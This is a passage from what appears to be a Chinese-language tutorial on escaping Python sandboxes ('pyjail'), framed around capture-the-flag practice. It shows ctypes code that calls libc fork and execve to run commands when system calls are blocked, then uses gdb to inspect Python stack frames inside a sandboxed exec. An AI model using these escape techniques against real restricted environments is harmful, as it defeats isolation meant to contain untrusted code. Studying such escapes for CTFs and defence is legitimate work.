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" alt=image.png referrerpolicy=no-referrer layer-index=2><br>
所以,只要pyjail不禁用ctypes,我们就能够间接的通过ctypes调用c语言实现上述的调用</p>
<pre blockindex=50><code class="hljs language-py"><span class=hljs-keyword>import</span> ctypes
libc = ctypes.CDLL(<span class=hljs-literal>None</span>)
FORK = libc.fork
EXECVE = libc.execve
EXIT = libc._exit
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>my_system</span>(<span class=hljs-params>command</span>):</span>
<span class=hljs-comment># 将命令分解为程序和参数</span>
args = command.split()
program = args[<span class=hljs-number>0</span>]
argv = (ctypes.c_char_p * (<span class=hljs-built_in>len</span>(args) + <span class=hljs-number>1</span>))()
<span class=hljs-keyword>for</span> i, arg <span class=hljs-keyword>in</span> <span class=hljs-built_in>enumerate</span>(args):
argv[i] = arg.encode(<span class=hljs-string>'utf-8'</span>)
argv[<span class=hljs-built_in>len</span>(args)] = <span class=hljs-literal>None</span> <span class=hljs-comment># 以 NULL 结尾</span>
pid = FORK()
<span class=hljs-keyword>if</span> pid == <span class=hljs-number>0</span>:
EXECVE(program.encode(<span class=hljs-string>'utf-8'</span>), argv, <span class=hljs-literal>None</span>) <span class=hljs-comment># 执行命令</span>
EXIT(<span class=hljs-number>1</span>)
<span class=hljs-keyword>else</span>:
libc.waitpid(pid, <span class=hljs-literal>None</span>, <span class=hljs-number>0</span>) <span class=hljs-comment># 父进程等待子进程完成</span>
my_system(<span class=hljs-string>"/bin/ls"</span>)
</code></pre>
<h1 blockindex=51>栈帧相关</h1>
<h2 blockindex=52>什么是Python栈帧?</h2>
<p blockindex=53>其实python中万物接在栈帧中,上至import新库和创建线程,中至函数调用,下至类中变量加减,都会创建栈帧,也就是说Python是一门基于栈帧的语言。下面我们结合脚本和gdb,帮助大家理解啥是python栈帧。还是经典的删除<code>__builtins__</code>的例子:</p>
<pre blockindex=54><code class="hljs language-py">key = <span class=hljs-string>"this is flag"</span>
codes=<span class=hljs-string>'''
def function_c(param):
result = param ** 2 # 定义局部变量
print(f"In function_c: param={param}, result={result}")
i=1
while True:
i+=1
function_c(3)
'''</span>
<span class=hljs-built_in>locals</span> = {
<span class=hljs-string>"__builtins__"</span>: <span class=hljs-literal>None</span>, <span class=hljs-comment># 禁用默认的 __builtins__</span>
<span class=hljs-string>"print"</span>: <span class=hljs-built_in>print</span>, <span class=hljs-comment># 手动允许 print 函数</span>
<span class=hljs-string>"True"</span>: <span class=hljs-literal>True</span>, <span class=hljs-comment># 手动允许 True 常量</span>
<span class=hljs-string>"False"</span>: <span class=hljs-literal>False</span>, <span class=hljs-comment># 手动允许 False 常量</span>
}
code = <span class=hljs-built_in>compile</span>(codes, <span class=hljs-string>""</span>, <span class=hljs-string>"exec"</span>)
<span class=hljs-built_in>exec</span>(code, <span class=hljs-built_in>locals</span>, <span class=hljs-literal>None</span>)
</code></pre>
<h2 blockindex=55>GDB视角下的栈帧</h2>
<p blockindex=56>我这边直接用自带python3.12自带的gdb插件<code>libpython.py</code>来调试该进程,仔细看看它的内存结构</p>
<pre blockindex=57><code class="hljs language-bash">┌──(kali㉿kali)-[~/Desktop/Python-3.12.0/Tools/gdb]
└─$ gdb -p 2415
(gdb) <span class=hljs-built_in>source</span> libpython.py
(gdb) bt
<span class=hljs-comment>#0 long_dealloc (self=1454328774) at ../Objects/longobject.c:3326</span>
<span class=hljs-comment>#1 0x00000000005d6881 in _PyEval_EvalFrameDefault (</span>
tstate=tstate@entry=0xbaf310 &lt;_PyRuntime+458992&gt;, frame=&lt;optimized out&gt;,
frame@entry=0x7f4aadfdc090, throwflag=throwflag@entry=0) at Python/bytecodes.c:209
<span class=hljs-comment>#2 0x00000000005cd7dd in _PyEval_EvalFrame (tstate=0xbaf310 &lt;_PyRuntime+458992&gt;, </span>
frame=0x7f4aadfdc090, throwflag=0) at ../Include/internal/pycore_ceval.h:89
<span class=hljs-comment>#3 _PyEval_Vector (tstate=0xbaf310 &lt;_PyRuntime+458992&gt;, func=0x7f4aad721c60, </span>
locals={<span class=hljs-string>'__builtins__'</span>: None, <span class=hljs-string>'print'</span>: &lt;built-in method <span class=hljs-built_in>print</span> of module object at remote 0x7f4aadc48270&gt;, <span class=hljs-string>'True'</span>: True, <span class=hljs-string>'False'</span>: False, <span class=hljs-string>'function_c'</span>: &lt;<span class=hljs-keyword>function</span> at remote 0x7f4aad73dd00&gt;}, args=0x0, argcount=0, kwnames=0x0) at ../Python/ceval.c:1683
...
<span class=hljs-comment>#10 0x00000000005cee43 in _PyEval_EvalFrameDefault (</span>
tstate=tstate@entry=0xbaf310 &lt;_PyRuntime+458992&gt;, frame=&lt;optimized out&gt;,
--Type &lt;RET&gt; <span class=hljs-keyword>for</span> more, q to quit, c to <span class=hljs-built_in>continue</span> without paging--
frame@entry=0x7f4aadfdc020, throwflag=throwflag@entry=0) at Python/bytecodes.c:2715
<span class=hljs-comment>#11 0x00000000005cd7dd in _PyEval_EvalFrame (tstate=0xbaf310 &lt;_PyRuntime+458992&gt;, frame=0x7f4aadfdc020, throwflag=0) at ../Include/internal/pycore_ceval.h:89</span>
<span class=hljs-comment>#12 _PyEval_Vector (tstate=0xbaf310 &lt;_PyRuntime+458992&gt;, func=0x7f4aadc86340, </span>
locals={<span class=hljs-string>'__name__'</span>: <span class=hljs-string>'__main__'</span>, <span class=hljs-string>'__doc__'</span>: None, <span class=hljs-string>'__package__'</span>: None, <span class=hljs-string>'__loader__'</span>: &lt;SourceFileLoader(name=<span class=hljs-string>'__main__'</span>, path=<span class=hljs-string>'/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py'</span>) at remote 0x7f4aad702210&gt;, <span class=hljs-string>'__spec__'</span>: None, <span class=hljs-string>'__annotations__'</span>: {}, <span class=hljs-string>'__builtins__'</span>: &lt;module at remote 0x7f4aadc48270&gt;, <span class=hljs-string>'__file__'</span>: <span class=hljs-string>'/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py'</span>, <span class=hljs-string>'__cached__'</span>: None, <span class=hljs-string>'os'</span>: &lt;module at remote 0x7f4aadca50d0&gt;, <span class=hljs-string>'key'</span>: <span class=hljs-string>'this is flag'</span>, <span class=hljs-string>'codes'</span>: <span class=hljs-string>'\ndef function_c(param):\n result = param ** 2 # 定义局部变量\n print(f"In function_c: param={param}, result={result}")\n i=1\n while True:\n i+=1\n\nfunction_c(3 ) \n'</span>, <span class=hljs-string>'locals'</span>: {<span class=hljs-string>'__builtins__'</span>: None, <span class=hljs-string>'print'</span>: &lt;built-in method <span class=hljs-built_in>print</span> of module object at remote 0x7f4aadc48270&gt;, <span class=hljs-string>'True'</span>: True, <span class=hljs-string>'False'</span>: False, <span class=hljs-string>'function_c'</span>: &lt;<span class=hljs-keyword>function</span> at remote 0x7f4aad73dd00&gt;}, <span class=hljs-string>'code'</span>: }, args=0x0, argcount=0, kwnames=0x0) at ../Python/ceval.c:1683
<span class=hljs-comment>#13 PyEval_EvalCode (co=co@entry=, </span>
</code></pre>
<p blockindex=58>所以你看在不同的栈帧中是有不同的全局变量的,例如在初始的栈帧中<code>#3</code><code>__builtins__</code>就是正常的,但是在沙箱的<code>exec</code>的栈帧中,<code>'__builtins__': None</code>,接下来我们使用<code>py-up</code>向上移动我们调试的栈帧,分别使用<code>py-print</code>查看,也符合我们的假设</p>
<pre blockindex=59><code class="hljs language-py">(gdb) py-bt
Traceback (most recent call first):
File <span class=hljs-string>""</span>, line <span class=hljs-number>7</span>, <span class=hljs-keyword>in</span> function_c
File <span class=hljs-string>""</span>, line <span class=hljs-number>9</span>, <span class=hljs-keyword>in</span> &lt;module&gt;
&lt;built-<span class=hljs-keyword>in</span> method <span class=hljs-built_in>exec</span> of module <span class=hljs-built_in>object</span> at remote <span class=hljs-number>0x7f4aadc48270</span>&gt;
File <span class=hljs-string>"/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py"</span>, line <span class=hljs-number>21</span>, <span class=hljs-keyword>in</span> &lt;module&gt;
<span class=hljs-built_in>exec</span>(code, <span class=hljs-built_in>locals</span>, <span class=hljs-literal>None</span>)
(gdb) py-<span class=hljs-built_in>print</span> __builtins__
<span class=hljs-keyword>global</span> <span class=hljs-string>'__builtins__'</span> = <span class=hljs-literal>None</span>
(gdb) py-up
<span class=hljs-comment>#7 &lt;built-in method exec of module object at remote 0x7f4aadc48270&gt;</span>
(gdb) py-<span class=hljs-built_in>print</span> __builtins__
Unable to read information on python frame
(gdb) py-up
<span class=hljs-comment>#10 Frame 0x7f4aadfdc020, for file /home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py, line 21, in &lt;module&gt; ()</span>
<span class=hljs-built_in>exec</span>(code, <span class=hljs-built_in>locals</span>, <span class=hljs-literal>None</span>)
(gdb) py-<span class=hljs-built_in>print</span> __builtins__
<span class=hljs-keyword>global</span> <span class=hljs-string>'__builtins__'</span> = &lt;module at remote <span class=hljs-number>0x7f4aadc48270</span>&gt;
(gdb)
</code></pre>
<p blockindex=60>其实这个栈帧是用链表实现的,其中的<code>f_next</code>属性指向的是下一栈帧,<code>f_back</code>属性就是上一个栈帧,内存结构如下<br>
<img src=data:image/png;base64,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